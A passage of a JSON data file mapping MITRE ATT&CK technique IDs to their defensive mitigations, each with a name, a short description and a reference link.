of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1039", "mitigations": [{"name": "Data from Network Shared Drive Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1173", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1075", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}]}, {"_id": "T1491", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1174", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1209", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1525", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1107", "mitigations": [{"name": "File Deletion Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1032", "mitigations": [{"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1086", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1527", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1126", "mitigations": [{"name": "Network Share Connection Removal Mitigation", "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). ", "url": ""}]}, {"_id": "T1058", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1158", "mitigations": [{"name": "Hidden Files and Directories Mitigation", "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", "url": ""}]}, {"_id": "T1072", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1068", "mitigations": [{"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1482", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1017", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1155", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1092", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1123", "mitigations": [{"name": "Audio Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1489", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1526", "mitigations": []}, {"_id": "T1200", "mitigations": [{"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}]}, {"_id": "T1501", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1145", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1220", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1041", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1011", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1169", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1077", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1484", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1522", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1020", "mitigations": [{"name": "Automated Exfiltration Mitigation", "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1050", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1198", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1150", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1132", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1108", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1503", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1028", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1043", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1218", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1006", "mitigations": [{"name": "File System Logical Offsets Mitigation", "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1064", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1166", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1191", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1177", "mitigations": [{"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1095", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1213", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1163", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1204", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1114", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1113", "mitigations": [{"name": "Screen Capture Mitigation", "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1015", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1110", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Account Use Policies", "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", "url": "https://attack.mitre.org/mitigations/M1036"}]}, {"_id": "T1036", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1127", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1148", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}]}, {"_id": "T1196", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1079", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1038", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}]}, {"_id": "T1040", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1080", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1084", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1137", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1537", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1144", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1027", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1536", "mitigations": []}, {"_id": "T1480", "mitigations": [{"name": "Do Not Mitigate", "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", "url": "https://attack.mitre.org/mitigations/M1055"}]}, {"_id": "T1104", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1535", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1151", "mitigations": [{"name": "Space after Filename Mitigation", "description": "Prevent files from having a trailing space after the extension.", "url": ""}]}, {"_id": "T1495", "mitigations": [{"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1202", "mitigations": [{"name": "Indirect Command Execution Mitigation", "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", "url": ""}]}, {"_id": "T1082", "mitigations": [{"name": "System Information Discovery 